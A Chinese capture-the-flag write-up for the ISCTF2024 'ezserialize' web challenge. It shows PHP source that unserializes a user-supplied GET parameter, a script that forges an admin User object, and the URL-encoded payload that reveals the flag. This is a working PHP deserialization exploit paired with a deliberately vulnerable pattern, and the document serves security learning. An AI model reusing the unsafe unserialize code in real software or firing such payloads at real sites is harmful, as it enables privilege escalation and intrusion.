PHP反序列化 | ISCTF2024 | Web ezserialize
2024年12月10日约 302 字大约 1 分钟
<?php
error_reporting(0);
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>
我们需要构造一个 User
对象,并将 isAdmin
设置为 true
,以便在反序列化时触发 __wakeup()
方法并执行 getFlag()
来读取 flag
。
<?php
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
$payload = new User("attacker");
$payload->isAdmin = true;
$data = serialize($payload);
echo urlencode($data);
?>
运行后拿到 URL 编码的序列化字符串,这个字符串就是我们要传递的 data
参数。
O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
然后就可以拿到 flag 了。